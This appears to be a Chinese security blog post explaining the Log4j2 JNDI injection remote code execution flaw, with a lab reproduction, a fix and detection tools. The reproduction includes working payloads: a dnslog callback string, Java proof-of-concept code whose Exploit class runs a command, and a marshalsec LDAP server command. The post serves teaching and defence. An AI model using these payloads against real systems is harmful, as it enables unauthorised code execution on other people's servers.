【安全新闻】Log4j远程代码执行漏洞漫谈

对于一个能养活安全工程师的核弹级漏洞,就非常有必要研究一番了,希望能抛砖引玉。

【安全新闻】Log4j远程代码执行漏洞漫谈

简介

I 漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

II 漏洞原理

当log4j打印的日志内容中包括 ${jndi:ldap://ip}时,程序就会通过Idap协议访问ip这个地址,然后ip就会返回一个包含Java代码的class文件的地址,然后程序再通过返回的地址下载class文件并执行。

III 影响范围

Apache Log4j 2.x < 2.15.0-rc2。

漏洞验证:

【安全新闻】Log4j远程代码执行漏洞漫谈1

Docker漏洞环境搭建完成【安全新闻】Log4j远程代码执行漏洞漫谈2

访问http://ip:8080/webstudy/显示【安全新闻】Log4j远程代码执行漏洞漫谈3

页面抓包【安全新闻】Log4j远程代码执行漏洞漫谈4

Change request POST method【安全新闻】Log4j远程代码执行漏洞漫谈5

获取子域名qsydek.dnslog.cn【安全新闻】Log4j远程代码执行漏洞漫谈6

Post传参c=${jndi:ldap://qsydek.dnslog.cn/exp}【安全新闻】Log4j远程代码执行漏洞漫谈7

漏洞验证成功

漏洞复现:

<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>

创建maven项目,导入log4j的依赖

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error(“${jndi:ldap://localhost:1389/Exploit}”);
}
}

构造poc

public class Exploit {
static {
System.err.println(“Pwned”);
try {
String cmd = “calc”;
Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

构造Exploit.java

javac Exploit.java

编译成class文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://127.0.0.1:8888/#Exploit”

开启LDAP服务【安全新闻】Log4j远程代码执行漏洞漫谈8

运行Log4j.java,PWN!

漏洞修复

1>升级Apache Log4j2所有相关应用到最新版。

其他检测手段

1> Log4j-scan 一款用于查找log4j2漏洞的python脚本,支持url检测,支持HTTP请求头和POST数据参数进行模糊测试。

https://github.com/fullhunt/log4j-scan

【安全新闻】Log4j远程代码执行漏洞漫谈9

特征:

支持 URL 列表;

对 60 多个 HTTP 请求标头进行模糊测试(不仅仅是以前看到的工具中的 3-4 个标头);

对 HTTP POST 数据参数进行模糊测试;

对 JSON 数据参数进行模糊测试;

支持用于漏洞发现和验证的 DNS 回调;

WAF 绕过有效负载。

2>Log4j2 burp被动扫描插件【安全新闻】Log4j远程代码执行漏洞漫谈10

通过插件的方式,将Log4j2漏洞检测能力集成到burp

3>AWVS扫描log4j2漏洞

【安全新闻】Log4j远程代码执行漏洞漫谈11

AWVS14最新版本支持Log4j2漏洞检测,支持批量扫描

4>制品级Log4j2漏洞检测

【安全新闻】Log4j远程代码执行漏洞漫谈12

支持 Jar/Ear/War包上传,一键上传即可获取到检测结果(腾讯安全binAuditor)

5>Log4j2 本地检测

【安全新闻】Log4j远程代码执行漏洞漫谈13提取出来的Log4j2本地检测工具,可快速发现当前服务器存在风险的 log4j2 应用

随着时间的推移,这个Log4j2中的RCE漏洞可能需要好几年的时间才能得到解决,加强企业的应急检测能力就是重中之重了。

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
大佬不来一句? 抢沙发

请登录后发表评论